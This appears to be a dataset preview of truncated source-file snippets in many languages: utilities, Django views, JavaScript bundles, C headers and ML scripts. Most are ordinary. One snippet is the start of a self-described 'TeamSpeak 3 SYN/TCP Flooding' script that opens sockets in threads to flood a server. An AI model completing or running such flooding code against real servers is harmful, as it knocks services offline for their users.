text stringlengths 3 1.05M |
|---|
from numpy import tan,deg2rad
def findLinePoints(line,img):
[row,col] = img.shape
X,Y = col-1,row-1
centreR,centreC,orientation = line[0],line[1],line[2]
centreX,centreY = centreC,row-centreR
if (orientation<0):
theta = 90+orientation
slope = tan(deg2rad(theta))
else:
th... |
'''
Created on Feb 27, 2014
@author: sgeen
'''
import sys
from Frame import Frame
# Some useful functions
def Print(text):
# TODO: Add logging, etc
sys.stdout.write(text+"\n") |
# Import libraries
import json
import time
from django.conf import settings
from netxlib import rest
# Global variables
servicenow_user = settings.SERVICENOW_USER
servicenow_pass = settings.SERVICENOW_PASS
servicenow_instance = settings.SERVICENOW_INSTANCE
debug = settings.DEBUG_LEVEL
headers = {
"Content-Type":... |
# -*- coding: utf-8 -*-
"""WAVE DPCTF result handler
Handles the observation result using the Test Runner API:
download current result from the Test Runner
add the observation result
and post the result back the Test Runner
The Software is provided to you by the Licensor under the License, as
defined below, subject t... |
const Router = require('@koa/router');
const config = require('@/config').value;
const router = new Router();
// 遍历整个 routes 文件夹,导入模块路由 router.js 和 router-custom.js 文件
// 格式参考用例:routes/epicgames/router.js
const RouterPath = require('require-all')({
dirname: __dirname + '/routes',
filter: /^.*router([-_]custom[... |
import logging
import numpy as np
from rdkit import Chem
from rdkit import RDLogger
from rdkit.Chem.Scaffolds import MurckoScaffold
logger = logging.getLogger(__name__)
RDLogger.DisableLog('rdApp.*')
def generate_scaffold(smiles, include_chirality=False):
"""return scaffold string of target molecule"""
mol... |
/*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
... |
webpackJsonp([0],{"/ocq":function(t,e,n){"use strict";
/*!
* vue-router v3.1.3
* (c) 2019 Evan You
* @license MIT
*/function r(t,e){0}function o(t){return Object.prototype.toString.call(t).indexOf("Error")>-1}function i(t,e){return e instanceof t||e&&(e.name===t.name||e._name===t._name)}function a(t,e){for(var ... |
/* SCTP kernel Implementation: User API extensions.
*
* addrs.c
*
* Distributed under the terms of the LGPL v2.1 as described in
* http://www.gnu.org/copyleft/lesser.txt
*
* This file is part of the user library that offers support for the
* SCTP kernel Implementation. The main purpose of this
* code is to... |
"""
_______________________________________________________________________________
*** Copyright Notice ***
"Particle In Cell Scalable Application Resource (PICSAR) v2", Copyright (c)
2016, The Regents of the University of California, through Lawrence Berkeley
National Laboratory (subject to receipt of any r... |
ACTION_LIST = {'BUY': 1, 'IDLE': 0, 'SELL': -1}
class StockValueError(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr('WRONG AT ' + self.value)
class StockTrader():
def __init__(self, init_state = 0, data=None):
self.current_state = init_... |
import torch.nn as nn
class newmodule(nn.Module):
def __init__(self,pretrained):
super(newmodule, self).__init__()
self.conv1 = pretrained.conv1
self.pool1 = pretrained.pool1
self.conv2 = pretrained.conv2
self.pool2 = pretrained.pool2
self.conv3a = pretrained... |
from ._version import get_versions
__version__ = get_versions()['version']
del get_versions
from .spawner import KubernetesSpawner
|
import torch
import torch.nn as nn
import tensornetwork as tn
import TNModel.simple_mps as simple_mps
import TNModel.simple_peps as simple_peps
from tensornetwork import contractors
from typing import List, Tuple
class MPSLayer(nn.Module):
def __init__(self, hyper_params):
super(MPSLayer, self).__init__()... |
(window.webpackJsonp=window.webpackJsonp||[]).push([[189],{"bWy+":function(e,t){e.exports=function(e){var t={className:"variable",begin:/\$+{[\w\.:-]+}/},n={className:"variable",begin:/\$+\w+/,illegal:/\(\){}/},i={className:"variable",begin:/\$+\([\w\^\.:-]+\)/},r={className:"string",variants:[{begin:'"',end:'"'},{begi... |
/** @jsx jsx */
import { Editor } from '@mccarthyfinch/slate'
import { jsx } from '../../..'
export const input = (
<editor>
<block>one</block>
<block>two</block>
</editor>
)
export const test = editor => {
return Editor.before(editor, {
anchor: { path: [0, 0], offset: 1 },
focus: { path: [0, 1... |
/**
* Sinon.JS 1.15.4, 2015/06/27
*
* @author Christian Johansen (christian@cjohansen.no)
* @author Contributors: https://github.com/cjohansen/Sinon.JS/blob/master/AUTHORS
*
* (The BSD License)
*
* Copyright (c) 2010-2014, Christian Johansen, christian@cjohansen.no
* All rights reserved.
*
* Redistribution a... |
////////////////////////////////////////////////////////////////////////////////
// Pac-Man clone
//
// Copyright (c) 2021 Kwena Mashamaite (kwena.mashamaite1@gmail.com)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Softwa... |
$(function () {
var isResizing = false;
var lastDownX = 0;
var lastWidth = 0;
var resizeSidebar = function (w) {
$('#sidebar').css('width', w);
$('#keys').css('width', w);
$('#resize').css('left', w + 10);
$('#resize-layover').css('left', w + 15);
$('#frame').css... |
import csv, sys, os, time, locale, zipfile, io
import inat_api
# The directory where this Python script is located.
INSTALL_DIR = os.path.dirname(sys.argv[0])
if os.path.islink(sys.argv[0]):
INSTALL_DIR = os.path.join(INSTALL_DIR,
os.path.dirname(os.readlink(sys.argv[0])))
# This zi... |
/* Dia -- an diagram creation/manipulation program
* Copyright (C) 1998 Alexander Larsson
*
* diacairo-interactive.c -- Cairo based interactive renderer
* Copyright (C) 2006, Nguyen Thai Ngoc Duy
* Copyright (C) 2007, Hans Breuer, <Hans@Breuer.Org>
*
* This program is free software; you can redistribute it and/o... |
// Copyright (c) 2014-2018 The Bitcoin Core developers
// Copyright (c) 2017 The Raven Core developers
// Copyright (c) 2018 The Rito Core developers
// Copyright (c) 2019 The Quartercoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/lic... |
import React,{Component} from "react";
import SearchTask from "./Components/SearchTask";
import List from "./Components/List";
import NewTask from "./Components/NewTask";
import TaskSituation from "./Components/TaskSituation";
import "./App.css";
class App extends Component{
constructor(props) {
super(prop... |
/* eslint-disable max-len */
// Package Modules
const router = require('express').Router();
const { orgAuth } = require('../../middlewares/organisation.middleware');
const { userAuth } = require('../../middlewares/user_auth.middleware');
// All Endpoints require authentication and organisationID to be accessed
router... |
require('dotenv');
module.exports.run = async(bot, message, args, db) =>{
if(message.member.id!=process.env.OWNER) return;
let collection = args[0];
if(!collection) return message.channel.send(`:no_entry: Missing arguments, aborting`)
db.collection(collection).find().toArray((err,res) =>{
... |
const onAddedProductStub = {
in: {
cart: {
total: 100,
currency: 'RUB',
lineItems: [
{
product: {
id: '123',
size: 'S',
unitSalePrice: 25
},
quantity: 2
},
{
product: {
id: '124',
... |
"""
ORY Hydra
Welcome to the ORY Hydra HTTP API documentation. You will find documentation for all HTTP APIs here. # noqa: E501
The version of the OpenAPI document: v1.10.4-alpha.1
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from ory_hydra_clie... |
//// [tests/cases/compiler/jsxFactoryIdentifier.ts] ////
//// [Element.ts]
declare namespace JSX {
interface Element {
name: string;
isIntrinsic: boolean;
isCustomElement: boolean;
toString(renderId?: number): string;
bindDOM(renderId?: number): number;
resetComp... |
/* $OpenBSD: qlwreg.h,v 1.7 2014/03/15 21:49:47 kettenis Exp $ */
/*
* Copyright (c) 2013, 2014 Jonathan Matthew <jmatthew@openbsd.org>
* Copyright (c) 2014 Mark Kettenis <kettenis@openbsd.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby grante... |
"""
just run this script with python converter.py .
It will convert pytorch.ipynb to html page docs/pytorch-examples.html
"""
import nbformat
import markdown
from pygments import highlight
from pygments.lexers import PythonLexer
from pygments.formatters import HtmlFormatter
notebook = nbformat.read('Pytorch.ipynb', ... |
"""An agent that makes random decisions using a TensorFlow policy."
This agent creates and uses a new randomly initialized
TensorFlow NN policy for each step but doesn't do any
learning.
"""
import agentos
from tensorflow import keras
import numpy as np
class Policy:
def __init__(self):
self.nn = keras.S... |
import formatDate from 'date-fns/format';
export default class DataManager {
currentPage = 0;
filterSelectionChecked = false;
orderBy = -1;
orderDirection = '';
pageSize = 5;
paging = true;
parentFunc = null;
searchText = '';
selectedCount = 0;
data = [];
columns = [];
filteredData = [];
se... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# In[211]:
import uuid
from pathlib import Path
import pandas_profiling
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import neptune.new as neptune
import neptune.new.types
import seaborn as sns
import sklearn.ensemble
import sklearn.metrics
import ... |
import json
import logging
import os
import pathlib
import sys
import time
from tqdm import tqdm
import PIL
import torch
import yaml
from detectron2.config import get_cfg
from detectron2.data import (DatasetCatalog, DatasetMapper, MetadataCatalog,
build_detection_train_loader, transforms)... |
module.exports = {
mode: 'universal',
/*
** Headers of the page
*/
head: {
title: process.env.npm_package_name || '',
meta: [
{ charset: 'utf-8' },
{ name: 'viewport', content: 'width=device-width, initial-scale=1' },
{ hid: 'description', name: 'description', content: process.env.n... |
// Copyright (c) 2014-present, Facebook, Inc. All rights reserved.
//
// You are hereby granted a non-exclusive, worldwide, royalty-free license to use,
// copy, modify, and distribute this software in source code or binary form for use
// in connection with the web services and APIs provided by Facebook.
//
// As with... |
require('./bootstrap');
require('./website/App'); |
// Copyright 2019 Autodesk, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to ... |
/*
* Generated by asn1c-0.9.29 (http://lionet.info/asn1c)
* From ASN.1 module "EUTRA-RRC-Definitions"
* found in "/home/guicliu/ue_folder/openair2/RRC/LTE/MESSAGES/asn1c/ASN1_files/lte-rrc-14.7.0.asn1"
* `asn1c -pdu=all -fcompound-names -gen-PER -no-gen-OER -no-gen-example -D /home/guicliu/ue_folder/cmake_targets... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
// https://angular.io/styleguide#!#04-12
function throwIfAlreadyLoaded(parentModule, moduleName) {
if (parentModule) {
throw new Error(moduleName + " has already been loaded. Import Core modules in the AppModule only.");
}
}
ex... |
#!/usr/bin/env python
"""
Reliability of spike timing
---------------------------
Adapted from Fig. 10D,E of
Brette R and E Guigon (2003). Reliability of Spike Timing Is a General Property
of Spiking Model Neurons. Neural Computation 15, 279-308.
This shows that reliability of spike timing is a generic property of sp... |
import React from 'react'
import Select from 'react-select'
import Creatable from 'react-select/creatable'
import PropTypes from 'prop-types'
import { styler, colors, rem } from 'styles'
import './select.css'
const styles = styler({
root: {
flex: 1,
display: 'flex',
flexDirection: 'column',
marginBot... |
"""
Django views
References:
https://docs.djangoproject.com/en/3.1/ref/class-based-views/
https://docs.djangoproject.com/en/3.1/topics/class-based-views/intro/
https://docs.djangoproject.com/en/3.1/topics/class-based-views/mixins/
https://docs.djangoproject.com/en/3.1/topics/class-ba... |
#!/usr/bin/python
""" Generate different kinds of synthetic images.
"""
# Author: Bishesh Khanal <bishesh.khanal@inria.fr>
#
#
import argparse as ag
import os
import os.path as op
import numpy as np
import nibabel as nib
def get_input_options():
""" Command line interface, get input options and interact with th... |
#!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from .messages import msg_getheaders, msg_headers, CBlockHeader
from .mininode import P2PInterface, minin... |
function radar1() {
echarts.dispose(document.getElementById('main'));
var myChart = echarts.init(document.getElementById('main'), 'vintage');
option = {
title: {
text: '浏览器占比变化',
subtext: '纯属虚构',
top: 10,
left: 10
},
tooltip: {
... |
import React from "react"
import PropTypes from "prop-types"
import { graphql } from "gatsby"
import Layout from "../components/layout"
import SEO from "../components/seo"
import Hero from "../components/sections/hero"
import About from "../components/sections/about"
import Projects from "../components/sections/projec... |
import NProgress from 'nprogress';
import Router from 'vue-router';
import Vue from 'vue';
import VueMeta from 'vue-meta';
import base from './mixins/base';
import moment from 'moment';
import routes from './routes';
require('bootstrap');
window.Popper = require('popper.js').default;
Vue.prototype.moment = moment;
... |
# -*- coding: utf-8 -*-
import json
import os
from difflib import SequenceMatcher
from heapq import nlargest as _nlargest
from src.resources import const
base_path = os.path.dirname(__file__)
def load_characters_config():
filepath = os.path.abspath(os.path.join(base_path, "resources", "character_misc.json"))
... |
module.exports = {
env: {
esm: {
presets: [
[
'@babel/preset-env',
{
modules: false,
},
],
'@babel/preset-typescript',
'@babel/preset-react',
],
},
cjs: {
presets: [
[
'@babel/preset-env',
... |
//
// GTMNSAppleScript+Handler.h
//
// Copyright 2008 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy
// of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless r... |
# TeamSpeak 3 'SYN/TCP' Flooding With Treading By c4N
# Using: /usr/bin/python cnexploit.py
import socket
import threading
import random
class MonitorThread(threading.Thread):
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
... |
#include "wifi_initializer.h"
#include "esp_wifi.h"
#include <stdio.h>
// #define LOG_LOCAL_LEVEL ESP_LOG_DEBUG
#include "esp_log.h"
static const char *TAG = "WifiInitializer";
static TaskHandle_t *toNotify;
static void event_handler(void *arg, esp_event_base_t event_base,
int32_t event_id, ... |
// dummy test that uses "async / await" keyword
test('async concat strings', async t => {
const result = await asyncSum('f', 'oo')
snapshot(result)
})
|
import { OpenCLDocumentFormattingEditProvider } from './formatter'
export { OpenCLDocumentFormattingEditProvider } |
from fastapi import APIRouter, FastAPI
from fastapi.middleware.cors import CORSMiddleware
import uvicorn
from nmdc_runtime.api.endpoints import (
operations,
sites,
jobs,
data_resources,
compute_resources,
)
api_router = APIRouter()
api_router.include_router(operations.router, tags=["operations"])... |
// Modules
import React from "react";
import { Grid, Container, Icon, Divider } from "semantic-ui-react";
const MainSlide = React.forwardRef((props, ref) => (
<Grid.Row className={`main-slide ${props.className}`}>
<div ref={ref} style={{ position: "absolute", top: -12 }} />
<div className="main-slide-heading... |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^domain/$', views.send_domain, name='send_domain'),
url(r'^mailbox/add/$', views.core_mailbox_add, name='core_mailbox_add'),
url(r'^mailbox/add/ajaxpasswd/$', views.ajax_check_mailbox, name='ajax_check_mailbox'),
url(r'^ajax_cor... |
from __future__ import with_statement
import os
from vcs.backends.hg import MercurialRepository, MercurialChangeset
from vcs.exceptions import RepositoryError, VCSError, NodeDoesNotExistError
from vcs.nodes import NodeKind, NodeState
from vcs.tests.conf import PACKAGE_DIR, TEST_HG_REPO, TEST_HG_REPO_CLONE, \
TEST_... |
// The Vue build version to load with the `import` command
// (runtime-only or standalone) has been set in webpack.base.conf with an alias.
import Vue from 'vue';
import Example from './Example';
import ZkTable from '../src';
Vue.config.productionTip = false;
// Vue.component(ZkTable.name, ZkTable);
Vue.use(ZkTable)... |
import React from "react";
const B = (props) => <div style={{ fontWeight: 'bold' }}>{props.children}</div>
var inputBorder = {
border: "none",
borderBottom: "2px solid gray",
borderRadius: "0",
outline: "none"
}
export default (props) => (
<div>
<div className="form-group">
<B>TV Series Title</B>... |
# -*- coding: utf-8 -*-
from abc import ABCMeta, abstractmethod
import operator
from urllib.parse import urljoin
import requests
class Stream:
"""Mastodon Steam Class"""
def __init__(self, base_url, access_token, listener):
self.base_url = base_url
self.session = requests.Session()
se... |
#!/usr/bin/env python3
#
# Copyright 2013 The Flutter Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import argparse
import subprocess
import sys
import os
def main():
parser = argparse.ArgumentParser(
description='Copies ar... |
/*! For license information please see 2.590539a7.chunk.js.LICENSE.txt */
(this.webpackJsonpgoogle=this.webpackJsonpgoogle||[]).push([[2],[function(e,t,n){"use strict";e.exports=n(50)},function(e,t,n){"use strict";function r(){return(r=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];fo... |
import React, { Component, Fragment } from 'react';
import { formatMessage } from 'umi-plugin-react/locale';
import { connect } from 'dva';
import { Icon } from 'antd';
import DocumentTitle from 'react-document-title';
import GlobalFooter from '@/components/GlobalFooter';
// import SelectLang from '@/components/SelectL... |
# pylint: skip-file
"""
holland.backup.mariabackup.util
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Utility methods used by the mariabackup plugin
"""
import codecs
import logging
import tempfile
from os.path import expanduser, isabs, join
from string import Template
from subprocess import PIPE, STDOUT, Popen, list2cmdline
from ... |
__all__ = [
'__author__',
'__author_email__',
'__copyright__',
'__license__',
'__summary__',
'__title__',
'__url__',
'__version__',
'__version_info__',
]
__title__ = 'google-music-proto'
__summary__ = 'Sans-I/O wrapper of Google Music API calls.'
__url__ = 'https://github.com/thebigmunch/google-music-proto'
... |
import os
from setuptools import setup
try:
with open(
os.path.join(os.path.dirname(__file__), "README.md"), encoding="utf-8"
) as f:
long_description = f.read()
except FileNotFoundError:
long_description = ""
with open(
os.path.join(os.path.dirname(__file__), "requirements.in"), enc... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (c) 2011 X.commerce, a business unit of eBay Inc.
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (t... |
# Copyright (C) 2019 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""Integration test for custom attributable mixin"""
import collections
import ddt
from ggrc import db
from ggrc import models
from integration.ggrc import TestCase
from integration.ggrc.models import fact... |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: mediapipe/modules/objectron/calculators/belief_decoder_config.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protob... |
"""
Copyright 2018 Goldman Sachs.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software di... |
# coding: utf-8
'''
A collection of mixins useful for the various *Client interfaces
'''
# Import Python libs
from __future__ import absolute_import, print_function, with_statement
import signal
import logging
import weakref
import traceback
import collections
# Import Salt libs
import salt.exceptions
import salt.min... |
import React, { useEffect, useState } from "react";
import { connect } from "react-redux";
import { useParams } from "react-router-dom";
import CusAvatar from "../layout/CustomizedAvatar";
import {
Card,
CardContent,
CardHeader,
Grid,
Avatar,
Button,
TextField,
CircularProgress,
Table,
TableHead,
... |
'use strict'
var spawn = require('cross-spawn')
var colors = require('colors/safe')
var server = require('./../server.js')
server.start({ port: 3000 }, function () {
var protractor = spawn('protractor', [ 'protractor.conf.js' ])
function logToConsole (data) {
console.log(String(data))
}
protractor.stdou... |
# Copyright 2010 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... |
# Is this pattern True?
# As the head of data science you often get called in to help a new data scientists
# track down an important intermediate csv file that has gone missing. This has taken
# so much time, that you have decided to write an automated script that identify all
# csv files that are created by a use... |
# Lint as: python2, python3
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... |
/**
* @fileOverview This test specs runs tests on the package.json file of repository. It has a set of strict tests on the
* content of the file as well. Any change to package.json must be accompanied by valid test case in this spec-sheet.
*/
var fs = require('fs'),
path = require('path'),
_ = require('lodas... |
server.web.get('/commands', function(req, res) {
if(!req.isAuthenticated() || !req.guild) return res.redirect('/');
server.pool.query('SELECT * FROM commands WHERE guild = ?', [req.guild.discordId], function(error, results, fields) {
let commands = [];
for(let i = 0; i < results.length; i++) {
... |
from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Post(models.Model):
title = models.CharField(max_length=250)
user = models.ForeignKey(User,on_delete=models.CASCADE)
author = models.CharField(max_length=250)
category = models.CharField(max_length=250)
... |
/*
* Copyright 2015 Rockchip Electronics Co. LTD
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable... |
/*
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
mMMMMMMMMMNNNmmNNNMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
mmNMMNMMMMNNNN... |
import { Record } from 'immutable';
export const EXAMPLE_RECORD_KEYS = Object.freeze({
count: 'count',
});
const exampleRecordSchema = {
[EXAMPLE_RECORD_KEYS.count]: 0,
};
class ExampleRecord extends Record(exampleRecordSchema, 'ExampleRecord') {
getCount() {
return this.get(EXAMPLE_RECORD_KEYS.c... |
# -*- coding: utf-8 -*-
import datetime
import math
WGS84_a = 6378137.0
WGS84_b = 6356752.314245
def ecef_from_lla(lat, lon, alt):
'''
Compute ECEF XYZ from latitude, longitude and altitude.
All using the WGS94 model.
Altitude is the distance to the WGS94 ellipsoid.
Check results here http://ww... |
// Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by app... |
"""Per-prefix data, mapping each prefix to a dict of locale:name.
Auto-generated file, do not edit by hand.
"""
from ..util import u
# Copyright (C) 2011-2021 The Libphonenumber Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the Licens... |
from django.contrib import admin
from django.contrib.admin import SimpleListFilter
from pinax.blog.admin import PostAdmin
from pinax.blog.models import Post
from taggit.models import TaggedItem
from .forms import AdminPostTagsForm
class TaggitListFilter(SimpleListFilter):
"""
A custom filter class that can ... |
//
// CWHomeController.h
// php
//
// Created by wei cui on 2019/12/3.
// Copyright © 2019 wei cui. All rights reserved.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface HomeController : UIViewController
@end
NS_ASSUME_NONNULL_END
|
{
"metadata" :
{
"formatVersion" : 3,
"sourceFile" : "F50NoUv.obj",
"generatedBy" : "OBJConverter",
"vertices" : 67006,
"faces" : 97474,
"normals" : 53988,
"uvs" : 0,
"materials" : 25
},
"materials": ... |
import LoadError from "./LoadError";
export default LoadError;
|
#!/usr/bin/env python
import zmq
from cereal import car
from common.params import Params
from common.realtime import sec_since_boot
from selfdrive.swaglog import cloudlog
from selfdrive.services import service_list
from selfdrive.controls.lib.planner_pc import Planner
from selfdrive.controls.lib.vehicle_model import V... |
import json
from pathlib import Path
from typing import List, Tuple
import numpy as np
import omegaconf
import pandas as pd
import pytorch_lightning as pl
import torch
from ml import learner
from ml.params import load_cfg
from ml.vision import data
from omegaconf import OmegaConf
from omegaconf.omegaconf import OmegaC... |
__NUXT_JSONP__("/7/17", (function(a,b,c,d,e,f,g,h,i,j){return {data:[{metaTitle:b,metaDesc:c,verseId:17,surahId:7,currentSurah:{number:"7",name:"الاعراف",name_latin:"Al-A'raf",number_of_ayah:"206",text:{"1":"الۤمّۤصۤ ۚ ","2":"كِتٰبٌ اُنْزِلَ اِلَيْكَ فَلَا يَكُنْ فِيْ صَدْرِكَ حَرَجٌ مِّنْهُ لِتُنْذِرَ بِهٖ وَذِكْرٰى ل... |
from __future__ import unicode_literals
import frappe
from frappe import _
from frappe.data_migration.doctype.data_migration_connector.connectors.base import BaseConnection
import mysql.connector as mariadb
class EmployeeLineManagerConnection(BaseConnection):
def __init__(self, connector):
self.connector = connect... |
import json
import logging
import wandb
import os
import yaml
from tokenizers import ByteLevelBPETokenizer
from transformers import RobertaConfig, RobertaTokenizerFast
from transformers import RobertaForMaskedLM
from datasets import load_dataset
from transformers import DataCollatorForLanguageModeling
from transformer... |
import textCard from './views/text-card-view';
import postCard from './views/post-card-view';
import tutorialCard from './views/tutorial-card-view';
import twitterCard from './views/twitter-card-view';
import instagramCard from './views/instagram-card-view';
const createLayout = async (dataArray) => {
const layout... |
# -*- coding: utf-8 -*-
import _init_paths
from fast_rcnn.config import cfg
from fast_rcnn.test import im_detect
from fast_rcnn.nms_wrapper import nms
from utils.timer import Timer
import numpy as np
import caffe, os, cv2
from PIL import ImageFont, ImageDraw, Image
this_dir = os.path.dirname(__file__)
class VehicleD... |
// ============================================================================
// ============================================================================
// ============================================================================
// ====
// ==== Hazard
// ====
// ==== The base class for storing hazard informa... |
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 14 17:32:20 2020
@author: muril
"""
def save_sens_res(wd:str,
run_id:str,
save_all = False):
#----------------------------------------------------------#
#------------------- save_sens_res ------------------------#
#-... |